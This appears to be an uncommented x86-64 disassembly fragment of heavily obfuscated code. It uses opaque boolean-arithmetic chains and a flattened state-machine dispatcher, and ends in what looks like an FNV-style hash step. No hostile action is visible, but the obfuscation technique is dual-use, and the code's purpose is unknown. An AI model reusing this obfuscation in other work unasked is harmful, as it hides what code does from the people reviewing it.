xor r11d, eax
xor r11d, ecx
mov r14d, r10d
xor r14d, 0x843e24b
mov ebx, r10d
mov edx, r10d
mov edi, r10d
mov esi, r10d
and esi, 0xf4e5e31e
xor r10d, 0x359feaa
and r10d, r8d
mov ecx, esi
xor ecx, r10d
xor ecx, 0x41e20a
xor esi, 0x41e20a
and esi, r10d
or esi, ecx
mov ecx, esi
xor ecx, 0x6653709e
and ecx, r14d
or r14d, r8d
and r15d, 0x82000820
and ebx, 0x1098338a
or ebx, r15d
and edx, 0x6d67c455
or edx, ebx
mov eax, edx
xor eax, 0x6524261e
mov ebx, r14d
and ebx, 0x6d67c455
xor edi, r14d
and r14d, 0x92983baa
or r14d, 0x64244445
xor r14d, ebx
mov ebx, r14d
xor ebx, 0xf6bc7fef
xor edx, 0x9adbd9e1
and edx, ebx
xor r14d, 0x9438010
and r14d, eax
xor edi, 0xf7bc1db4
or edi, r8d
not edi
or edi, r14d
or edi, edx
mov ebx, edi
not ebx
mov edx, edi
and edx, 0x6d496c7f
mov eax, esi
xor eax, 0x99ac8f61
and eax, r8d
or eax, ecx
xor esi, eax
xor esi, 0x6653709e
and esi, eax
mov eax, edi
xor eax, 0x5014c23
and eax, edx
and edx, esi
mov ecx, edi
and ecx, 0x5014c23
xor ecx, eax
xor ecx, 0x85b5cfa3
and eax, 0x5014c23
or eax, ecx
mov ecx, esi
and ecx, 0x85b5cfa3
or ecx, 0x840004c
and esi, 0x7a4a305c
xor esi, ecx
xor esi, eax
mov eax, esi
mov ecx, edx
xor ecx, esi
xor ecx, 0x720a3010
mov r8d, ecx
and r8d, edx
xor esi, 0x60082010
and esi, edx
not edx
xor eax, 0x8df5cfef
and eax, edx
or eax, esi
xor eax, r8d
and esi, ecx
or esi, eax
mov edx, ebx
and edx, edi
and edi, 0x29086950
and ebx, 0xd6f7968f
or ebx, edi
xor ebx, 0xd6f7968f
and edx, 0xffffffdf
or edx, ebx
mov r10d, esi
xor r10d, 0x6d496c5f
lea r8d, [rdx + 0x20]
mov ecx, esi
xor ecx, 0xe8f03d9b
mov eax, esi
xor eax, 0x92b693a0
or eax, ecx
mov edi, esi
or edi, 0x7a46ae3b
xor edi, 0x7f4fee7f
or ecx, edi
mov r14d, edx
and r14d, 0x85b951c4
mov ebx, edx
xor ebx, 0x85b951e4
or ebx, r14d
not eax
and eax, edi
xor eax, ecx
mov ecx, ebx
and ecx, 0xffffffdf
mov edi, ecx
xor edi, 0x6727c902
xor edx, 0x291100
and edx, r14d
mov r15d, edi
xor ecx, 0xffffffdf
mov r12d, ecx
and r12d, 0x1bcc4c01
and edi, 0xe433b3de
or edi, r12d
or ecx, r14d
xor edi, r14d
or r14d, 0x8594c8c6
xor edx, r14d
or r15d, 0x8594c8c6
or ebx, 0x7a6b3739
xor ebx, r15d
mov r14d, ebx
xor r14d, 0x81000
and r14d, edx
not edx
xor ebx, 0xe7b341e4
and ebx, edx
or ebx, r14d
xor edi, 0x7fefcd03
and edi, ecx
or edi, ebx
mov ecx, eax
xor ecx, 0x1ac5778a
mov edx, edi
and edx, 0xe53a8875
or edx, 0x8453780
and edi, 0x1ac5778a
xor edi, edx
mov edx, edi
xor edx, 0xed7fbff5
xor eax, 0xe53a8875
and eax, edx
xor edi, 0x1280400a
and edi, ecx
or edi, eax
and r10d, r8d
xor esi, r8d
xor esi, 0x6d496c5f
or esi, r10d
mov ecx, edi
and ecx, 0x5bce1f7c
xor ecx, esi
mov eax, edi
xor eax, esi
not esi
or esi, edi
and edi, 0xa431e083
or edi, 0x1ac01b00
xor ecx, edi
and esi, eax
mov eax, ecx
xor eax, esi
xor eax, 0xe53fe4ff
xor ecx, 0xe53fe4ff
and ecx, esi
or ecx, eax
mov edx, ecx
and edx, 0x563e2c9a
or edx, 0x9005300
mov eax, ecx
and eax, 0xa9c1d365
xor eax, edx
mov ebx, ecx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, ecx
xor ebx, 0x9005300
and eax, ebx
mov edx, eax
xor edx, ecx
and edx, ebx
mov ebx, ecx
and ebx, 0xa4a3d9c2
and ecx, 0x5b5c263d
or ecx, 0xa0a01800
xor ecx, ebx
mov ebx, ecx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor ecx, 0x403c1c2
and ecx, edi
xor eax, 0x18080420
and eax, ebx
or eax, edx
or eax, ecx
mov edx, eax
not edx
and edx, r11d
mov r14d, r11d
xor r14d, eax
xor r14d, edx
mov r10d, r11d
and r10d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r8d, eax
and r8d, 0x66fc66a2
and r11d, 0x66fc66a2
or r11d, 0x98008855
and edx, 0xae0a6a3c
mov edi, esi
and edi, 0x11019141
or edi, edx
mov edx, edi
xor edx, 0x51f595c3
mov ebx, edi
xor edi, 0xae0a6a3c
mov r15d, edi
or edi, r8d
not r8d
xor ebx, 0xc263434a
and ebx, edx
and esi, 0x91029009
or esi, ebx
mov ebx, eax
and ebx, 0x60080022
mov ecx, r8d
and ecx, 0xc602114
add ecx, ebx
add ecx, 0x3020681
mov ebx, eax
and ebx, 0x2944680
xor ebx, ecx
mov ecx, ebx
xor ecx, 0x630b0ee3
xor ebx, 0x9cf4f11c
and ebx, esi
not esi
and esi, ecx
or ebx, esi
and r15d, 0x89021805
and edx, 0x10ddc158
or edx, r15d
and eax, 0x662026a2
and r8d, 0x10ddc158
or r8d, eax
xor r8d, edx
not r8d
and r8d, edi
or r8d, ebx
xor r8d, r10d
xor r8d, r11d
mov eax, r8d
xor eax, 0x1031108
mov ecx, r14d
xor r8d, 0xfefceef7
and r8d, r14d
xor r14d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r14d
or r8d, eax
or r8d, ecx
mov eax, 0x1f53ad1b
jmp 0x140089900
cmp eax, 0x58a11e19
je 0x1400898e8
cmp eax, 0x71946ac1
jne 0x140089900
mov eax, 0x3117fdc4
jmp 0x140089900
cmp eax, 0x22c0f4b1
jne 0x14008a3a3
mov eax, 0x1f53ad1b
mov r8d, dword [rbp + 0x4b0]
jmp 0x140089900
mov dword [rbp + 0x4b0], r9d
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x41
setge byte [rbp + 0x4a8]
mov eax, dword [rbp + 0x4c0]
jmp 0x140089900
cmp byte [rbp + 0x4a8], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x140089900
cmp eax, 0x1f53ad1b
jne 0x140089900
mov esi, dword [rbp + 0x410]
mov eax, esi
and eax, 0xa06206ca
mov ecx, esi
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r14d, eax
or r14d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r14d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r14d
and r14d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r14d, edx
xor r14d, ecx
mov eax, r14d
and eax, 0x8b181a5c
or eax, 0x34434021
and r14d, 0x74e7e5a3
xor r14d, eax
mov eax, r14d
xor eax, 0x2feabccf
mov ecx, r14d
xor ecx, 0xd0154330
mov edx, r14d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r14d, 0xf77ca13a
and r14d, eax
or r14d, edx
or ecx, eax
xor r14d, 0x2769e20a
and r14d, ecx
mov eax, r14d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r10d, eax
and r10d, 0x1fbc0278
xor r10d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r10d
xor ecx, 0x24c1653b
xor r10d, 0x2441652b
and r10d, eax
or r10d, ecx
mov eax, esi
and eax, 0xfb1401a1
or eax, 0x688008
mov r11d, esi
and r11d, 0x4ebfe5e
xor r11d, eax
mov eax, r11d
xor eax, 0xbaad4363
or r11d, 0x453a3c94
xor r11d, 0x457abc9c
or r11d, eax
mov eax, esi
and eax, 0xbac5c36b
mov ecx, r11d
xor ecx, 0x29379af7
mov edx, esi
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, esi
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r11d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r11d
xor ecx, eax
not r11d
or r11d, eax
and r11d, ecx
or r11d, ebx
mov eax, esi
and eax, 0x3e90666b
mov ecx, esi
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r11d
mov eax, r11d
xor eax, esi
xor eax, 0x94aca640
xor r11d, 0x94aca640
and r11d, esi
or r11d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r11d
xor r11d, ecx
xor r11d, 0xbebcc648
and r11d, eax
mov r15d, r8d
not r15d
mov edx, r8d
and edx, 0x437fed4a
mov eax, r8d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r8d
mov edi, r8d
and edi, 0x25b4148
xor edi, 0xadb43e9
mov ecx, r8d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r8d
not edx
and edx, 0x25b4148
or ecx, edi
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov edi, eax
xor edi, 0x8801225
and edi, ecx
mov ecx, eax
or ecx, 0x437fed4a
and edi, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r9d, [rsi - 0x4bffff70]
mov ebx, eax
and ebx, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, ebx
xor edx, edi
lea edi, [rdx + 0x1384000]
mov ebx, eax
and ebx, 0x28800011
and ecx, 0x9729dbac
or ecx, ebx
xor ecx, esi
xor esi, 0x4a83322f
and esi, edi
xor edx, 0xf647adda
and edx, r9d
or edx, esi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov edx, eax
or edx, 0xbf61617e
mov ebx, eax
xor ebx, 0x4bedc8a5
and ebx, ecx
mov ecx, edx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, ebx
xor eax, 0xebeda999
xor edx, 0xffede9ff
and edx, ebx
or edx, eax
mov ecx, edx
xor ecx, 0xb412375a
mov ebx, edx
and ebx, 0x41963a78
xor ebx, 0x41840820
mov eax, edx
xor eax, 0xf5840d22
and eax, ecx
or eax, ebx
mov ecx, eax
xor ecx, 0xbe69c587
mov ebx, eax
and ebx, 0xc7ae538e
xor ebx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, ebx
mov ebx, edx
xor ebx, 0x73bc64d4
xor edx, 0x4bedc8a5
or edx, ebx
and edx, edi
mov ebx, eax
xor ebx, 0x9000a0ac
and ebx, ecx
mov ecx, eax
xor ecx, ebx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, ebx
or eax, ecx
mov edi, edx
xor edi, 0x1638c95a
mov ebx, edx
xor ebx, 0xdba443a
and ebx, edi
mov esi, edx
or esi, 0xe47d729f
mov r9d, esi
and r9d, 0x160e96b2
mov ecx, edx
and ecx, 0x9800940
or ecx, r9d
xor ecx, ebx
xor ecx, 0xd8e16b2
xor esi, 0xedff76bf
and esi, ebx
or esi, ecx
xor esi, eax
xor edx, eax
xor edx, 0x1638c95a
and edi, eax
or edi, edx
mov ecx, esi
xor ecx, 0xe47d729f
xor esi, edi
xor esi, 0xe47d729f
or ecx, edi
not ecx
or ecx, esi
mov eax, ecx
and eax, 0x6ec3b5e4
or eax, 0x80801
and ecx, 0x913c4a1b
or ecx, 0x28c13164
xor ecx, eax
mov eax, ecx
xor eax, 0xd736c69a
mov edx, ecx
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, ecx
xor ebx, 0xd385b194
and ebx, eax
or ebx, edx
xor ecx, ebx
xor ebx, 0x4b3770e
or ebx, eax
xor ecx, 0x2c7a4e6b
and ecx, ebx
or r15d, 0xd1969ad4
mov eax, r8d
and eax, 0x248000a
mov edx, r15d
and edx, 0x98b14025
or edx, eax
mov r12d, r15d
and r12d, 0x25043500
or r12d, edx
mov eax, r12d
and eax, 0xb2a41504
xor eax, 0x20280c0
xor r12d, 0xf0ec1f1e
or r12d, eax
and r8d, 0x22000528
and r15d, 0x5debeac7
or r15d, r8d
mov eax, r15d
and eax, 0xc49602b
xor eax, 0xc496003
xor r15d, 0x10b280fc
or r15d, eax
mov eax, r12d
and eax, 0xfffdff3f
xor eax, 0x1aaf6d2c
and eax, r12d
mov edx, r12d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r15d
and ebx, 0x64400203
or r12d, r15d
and r15d, 0xa296d28
or r15d, 0x64528243
xor r15d, ebx
xor r15d, edx
xor r15d, eax
xor r15d, 0x41429241
not r12d
or r12d, r15d
mov r9d, r11d
mov r8d, r11d
mov r13d, r11d
mov esi, r11d
mov edx, r11d
mov edi, r11d
and edi, 0x100108
mov eax, r11d
or eax, 0x3bac76d0
mov r15d, r11d
xor r15d, 0xc453892f
or r15d, eax
and eax, 0xfc6bc837
or eax, edi
mov ebx, r11d
xor eax, r11d
and r11d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r11d
and r8d, 0x70663010
and r13d, 0x2190005
or r13d, 0x7c006010
xor r13d, r8d
and esi, 0x1008060
or esi, 0x4804600
xor esi, r9d
xor esi, r13d
xor esi, 0xaff1605
and edx, 0x727f3015
or edx, 0x8000cf62
xor edx, r11d
xor edx, 0xf27fff77
xor ebx, 0x8d80cfea
or ebx, edx
not ebx
or ebx, esi
mov r8d, ebx
xor r8d, 0x727f3015
mov edx, ebx
xor edx, 0xb62cb93a
and edx, r8d
mov r11d, ebx
xor r11d, 0x49d346c5
or r11d, edx
xor eax, 0x38284010
and eax, r15d
mov edx, r10d
xor edx, 0x40008000
and edx, r10d
and r14d, 0x40008000
xor r14d, 0x4a849408
and edx, 0x44018902
or edx, r14d
mov r13d, r10d
mov edi, r10d
mov esi, r10d
and esi, 0x8010000c
and r13d, 0x420021
or r13d, 0x45880090
xor r13d, edx
and edi, 0x3bac76d0
xor edi, 0x8afe54bd
xor esi, r13d
xor esi, 0x1a04008
and esi, edi
xor r13d, 0x41a14902
or r13d, edi
xor r13d, esi
mov edx, r11d
mov edi, r11d
and edi, 0xb2e0d7b3
and edx, 0x4d1f284c
or edx, 0x22804682
xor edx, edi
mov esi, edx
xor esi, 0x6f9f6ece
mov edi, eax
and edi, 0xb2e0d7b3
or edi, 0x45082048
mov r15d, eax
and r15d, 0x4d1f284c
xor r15d, edi
mov r9d, edx
xor r9d, 0x98385838
and r9d, esi
mov esi, r15d
xor esi, 0x8170804
mov edi, r15d
xor edi, 0x4fc10d
and edi, esi
mov r14d, edx
or r14d, 0x858c909
or r15d, 0xf7a736f6
xor r15d, 0xf7eff7ff
or r15d, edi
mov esi, r14d
and esi, 0x8899f000
and edx, 0x772606f6
or edx, esi
mov esi, r11d
xor edx, r9d
xor r14d, 0x9878d939
and r14d, r9d
mov r9d, r11d
and esi, 0x9e366bbf
xor esi, eax
xor r9d, eax
not eax
or eax, r11d
xor edx, 0x9838d030
or r14d, edx
mov edx, r10d
xor r14d, r15d
mov r15d, r10d
and r11d, 0x61c99440
or r11d, 0x21040b3
xor esi, r11d
and eax, r9d
mov edi, esi
xor edi, eax
xor edi, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, eax
or esi, edi
mov eax, esi
and eax, 0xc0508439
or eax, 0x892802
and esi, 0x3faf7bc6
xor esi, eax
mov r11d, esi
xor r11d, 0x892802
mov r9d, r14d
and r9d, 0x4e3f9ca4
mov eax, r11d
and eax, 0xb1c0635b
xor eax, r9d
mov edi, r11d
xor r11d, r14d
xor esi, 0xff76d7fd
or esi, r14d
and r14d, 0xb1c0635b
or r14d, 0xc081c80
xor eax, r14d
and edi, 0x4e3f9ca4
or edi, 0xb040624a
xor edi, eax
xor edi, 0x43b78135
and esi, r11d
or esi, edi
mov r14d, esi
not r14d
mov edi, esi
and edi, 0x4de1c672
mov r9d, esi
or r9d, 0x4de1c672
mov r11d, r9d
and r11d, 0x26011ca7
and r14d, 0x901e2108
or r14d, r11d
mov eax, esi
xor eax, 0x4010422
and eax, edi
not edi
xor eax, r14d
mov r11d, esi
and r11d, 0x420
xor r9d, edi
and edi, 0x26010887
add edi, r11d
add edi, 0xd1f0c210
xor edi, eax
mov eax, ebx
mov r11d, ebx
xor r15d, ebx
xor ebx, 0x8d80cfea
and ebx, r10d
xor r13d, 0x4de1c672
xor edi, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r9d
not esi
or esi, edi
mov edi, r13d
and edi, 0xb7fb9257
or edi, 0x42d28
and r13d, 0x48046da8
xor r13d, edi
mov r9d, r13d
mov edi, esi
and edi, 0xb7fb9257
or edi, 0x40004d08
and esi, 0x48046da8
xor esi, edi
mov edi, esi
xor edi, 0xf7fbdf5f
xor r13d, 0x48004080
and r13d, edi
mov r14d, ecx
not r14d
xor r9d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r9d
mov r9d, r12d
xor r9d, 0xb2a695c4
or esi, r13d
and eax, 0xa631f20f
xor eax, 0x8400c20a
xor r11d, 0x2bb13de5
and edx, 0x59ce0df0
or edx, 0x86009003
and r10d, 0xa631f20f
xor r10d, edx
and eax, r8d
or eax, r11d
mov edx, r10d
xor r10d, 0xdfce9df3
and r10d, eax
not eax
xor edx, eax
xor edx, 0xdfce9df3
and edx, eax
or r10d, edx
mov eax, r15d
xor eax, 0x8d80cfea
or ebx, eax
mov r13d, r15d
xor r13d, 0x727f3015
xor r15d, ebx
xor r15d, 0x727f3015
or r13d, ebx
not r13d
or r13d, r15d
mov eax, r13d
and eax, 0xcde4750
or eax, 0x21209829
and r13d, 0xf321b8af
xor r13d, eax
mov eax, r13d
xor eax, 0xdedf67d6
and eax, r10d
xor r13d, r10d
xor r13d, 0xdedf67d6
or r13d, eax
mov eax, r13d
and eax, 0xa94c8ce7
lea ebx, [rax + 0x42217110]
xor eax, 0xa94c8ce7
mov edi, ebx
and edi, 0x4804a0a0
mov edx, r13d
xor edx, 0x81480c46
and edx, eax
and eax, 0x20000001
or eax, edi
mov edi, eax
and edi, 0x600080a1
and ebx, 0x8042000
add ebx, edi
add ebx, 0x5021e54
xor ebx, edx
xor ebx, 0x33805e5d
xor eax, 0x20000001
and eax, edx
or eax, ebx
and r13d, 0x56b37318
xor r13d, eax
mov eax, r13d
xor eax, 0x283593b1
mov edx, r13d
xor edx, 0xd7ca6c4e
and edx, eax
xor r13d, edx
xor r13d, 0xd7ca6c4e
or r13d, edx
mov eax, r13d
and eax, 0xab469b10
or eax, 0x50b0608d
and r13d, 0x54b964ef
xor r13d, eax
mov eax, r13d
xor eax, 0xaf4f9f72
mov edx, esi
not edx
and edx, eax
xor r13d, 0x50b0608d
and r13d, esi
or edx, r13d
and r13d, eax
and eax, esi
xor edx, eax
xor r13d, edx
mov eax, ecx
and eax, 0x4093dba5
or eax, 0x3e64205a
mov edx, ecx
and edx, 0xbf6c245a
xor edx, eax
mov r15d, edx
xor r15d, 0xc19bdfa5
mov eax, r12d
xor eax, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r9d
and edx, eax
and r15d, r9d
or r15d, edx
xor r15d, edi
mov r8d, r15d
not r8d
mov eax, ecx
and eax, 0xd240d802
or eax, 0x2049
or r14d, 0xde6c8a14
and r14d, 0xff7c8ab4
xor r14d, eax
mov eax, r14d
xor eax, 0xca20210
and ecx, 0xcaf275d
lea edx, [rcx - 0x2dbf27fe]
xor r14d, 0xd754f
and r14d, edx
xor ecx, 0x2d3107b0
and ecx, eax
or ecx, r14d
mov r14d, r12d
xor r14d, 0x41f64d66
mov eax, r14d
and eax, 0x84a6247d
mov edx, ecx
and edx, 0x84afa47d
or edx, 0x29001a80
and ecx, 0x7b505b82
and r12d, 0x98000
add eax, r12d
add eax, 0x19105080
and r14d, 0x7b505b82
xor r14d, eax
xor r14d, ecx
xor r14d, edx
mov r9d, r14d
xor r9d, 0xcfefb5ff
mov r12d, r9d
and r12d, 0x260dd63e
mov ecx, r14d
and ecx, 0xd9f229c1
mov r11d, r8d
mov ebx, r8d
mov r10d, r9d
or r9d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and r11d, 0x90c00100
or r11d, 0x10
and ebx, 0x493228c1
or ebx, 0x8080440c
xor ebx, r11d
mov edx, r15d
or edx, 0xdbfeebdb
xor edx, r8d
xor edx, ebx
xor edx, 0xa6beb606
mov ebx, r15d
xor ebx, 0xd9f229c1
xor r15d, 0x260dd63e
or r15d, ebx
not r15d
or r15d, edx
mov edx, r12d
not edx
mov eax, ecx
xor eax, 0xefeff7ff
mov esi, r14d
xor esi, 0x200c436
and esi, r12d
mov edi, ecx
xor edi, 0xcd3d5188
and edi, eax
or ecx, 0xdd2d5988
and r10d, 0x91008
xor r12d, eax
xor eax, edx
and edx, 0xc5044100
add edx, r10d
add edx, 0x2082a441
xor edx, esi
mov ebx, ecx
and ebx, 0x451651c1
and r14d, 0xc02000
or r14d, ebx
xor ecx, 0xdd3d5988
and ecx, edi
and edi, 0xd9fb29c9
xor edi, r14d
xor edi, 0x41100180
or ecx, edi
xor ecx, edx
xor ecx, 0x38abbcc9
or eax, r12d
not eax
or eax, ecx
xor eax, r15d
mov ecx, r9d
not ecx
and ecx, eax
xor r9d, eax
xor r9d, ecx
mov esi, r13d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r13d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r13d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r13d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r14d, edx
and r14d, r13d
or r14d, ebx
and r14d, edx
mov r10d, r9d
and r10d, 0xe0b76cbb
lea edx, [r10 + 0x1c000300]
mov ebx, r9d
and ebx, 0x1f489344
xor ebx, edx
mov dword [rbp + 0x410], ebx
mov edx, eax
and edx, 0x12086e0
xor r13d, 0x8480104
and r13d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r13d, ecx
mov ecx, r13d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r13d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r13d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
mov eax, esi
xor eax, 0x7f79bff7
and eax, ecx
not ecx
mov edi, r14d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or eax, esi
and esi, edx
and edx, ecx
xor eax, edx
or esi, eax
mov ecx, r14d
and ecx, 0xd5decb2c
mov ebx, ecx
xor ebx, 0x4912a796
mov edx, ebx
or edx, 0x5d4314bb
mov eax, r14d
or eax, 0xaabdffd7
xor eax, edx
mov r15d, r14d
xor r15d, 0x22202040
and r15d, edi
xor ecx, 0xd5decb2c
mov r12d, ecx
or ecx, edi
not edi
mov edx, r14d
and edx, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add edx, r8d
add edx, 0x4c400028
xor edx, r15d
mov r8d, edx
xor r8d, 0xecfc892c
mov r15d, eax
xor eax, 0x2a3197d7
and eax, r8d
xor r15d, 0x6000
xor edx, 0x130376d3
and edx, r15d
or edx, eax
mov r15d, dword [rbp + 0x410]
xor r15d, 0xfcb76fbb
and r15d, r9d
xor r10d, 0xe0b76cbb
and r12d, 0x504a8308
and ebx, 0x859448b4
or ebx, r12d
mov eax, r14d
and eax, 0xa203442
and edi, 0xa59548b5
or edi, eax
xor edi, ebx
xor edi, 0xdeeefffa
and edi, ecx
or edi, edx
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r13d
xor eax, 0x130881e4
and eax, r11d
mov ecx, r13d
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and r13d, 0x281501
or r13d, edx
xor r13d, eax
xor r13d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r13d
mov r13d, dword [rbp + 0x44c]
mov eax, r14d
and eax, 0xdbd780fa
or r11d, r14d
and r14d, 0x24287f05
or r14d, 0x43d68078
xor r14d, eax
xor r14d, ecx
xor r14d, 0x98010082
and r14d, r11d
or r14d, edi
or r14d, esi
mov eax, r9d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r9d, 0xe0342421
and r9d, r10d
or r9d, ecx
mov edx, r9d
xor edx, 0xef7cb561
mov ecx, r9d
and ecx, 0x30240e
mov eax, edx
and eax, 0xf1cfcab1
or eax, ecx
mov ebx, eax
xor ebx, 0xe303540
mov ecx, ebx
and ecx, 0x74b34cb1
and eax, 0x814ca20e
or eax, ecx
or ebx, 0xa45bbedf
mov esi, eax
xor esi, 0x51a47060
and esi, ebx
mov ebx, r15d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and eax, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov ecx, esi
and ecx, 0x1182445
or ecx, eax
lea eax, [rdi + r11]
add edi, r11d
add edi, 0x2018000
and r10d, 0x40a44020
xor edi, ecx
mov ecx, r10d
xor ecx, 0xfce65bba
xor eax, 0xec26120a
and eax, ecx
mov ecx, esi
and ecx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, ecx
or esi, r10d
xor ebx, r10d
lea ecx, [r10 + 0x319a445]
xor edi, 0x281c020
and ecx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, eax
or ebx, ecx
mov eax, r8d
xor eax, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, eax
mov eax, r9d
and r9d, 0xc09208a5
and edx, 0x3a25f71a
or edx, r9d
xor eax, r15d
xor edx, r15d
mov ecx, r15d
not ecx
or ebx, r8d
xor eax, 0xef7cb561
and eax, ecx
xor edx, 0x3aa7ff9e
or edx, eax
mov eax, edx
and eax, 0xd49ab90b
mov ecx, edx
and ecx, 0x2b6546f4
or ecx, 0x4412a808
xor ecx, eax
mov eax, ecx
xor eax, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, eax
not edx
and edx, ebx
xor ebx, 0xd49ab90b
xor ecx, 0x90881103
and ecx, ebx
or edx, ecx
or edx, edi
xor edx, r14d
imul eax, edx, 0x1000193
mov dword [rbp + 0x4a4], eax
mov eax, dword [rbp + 0x450]
mov r10, qword [rbp + 0x400]
mov r8d, dword [rbp + 0x3e0]
mov esi, dword [rbp + 0x3e8]
mov edi, dword [rbp + 0x48c]
mov r9d, dword [rbp + 0x490]
jmp 0x140089860
cmp eax, 0x581f37ef
jle 0x14008b540
cmp eax, 0x581f37f0
je 0x14008b5b7
cmp eax, 0x5c59f878
je 0x14008b5d0
cmp eax, 0x7694ece2
jne 0x140089860
test byte [rbp + 0x438], 1
movsx eax, byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x430]
sete byte [rbp + 0x4ac]
cmp r13d, 0xa
setl byte [rbp + 0x484]
mov ecx, 0x462bec05
jmp 0x14008b410
cmp ecx, 0x22c0f4b1
jne 0x14008b4f9
mov ecx, dword [rbp + 0x4b0]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x14008b460
cmp ecx, 0x58a11e18
jg 0x14008b480
cmp ecx, 0x3117fdc4
je 0x14008b49e
cmp ecx, 0x462bec05
jne 0x14008b410
movzx edx, byte [rbp + 0x4ac]
cmp byte [rbp + 0x484], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x14008b44f
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x14008b410
cmp ecx, 0x1f53ad1a
jg 0x14008b3f9
cmp ecx, 0x8353906e
je 0x14008b4bf
cmp ecx, 0xb9e70da7
je 0x14008b405
jmp 0x14008b410
cmp ecx, 0x58a11e19
je 0x14008b4db
cmp ecx, 0x71946ac1
jne 0x14008b410
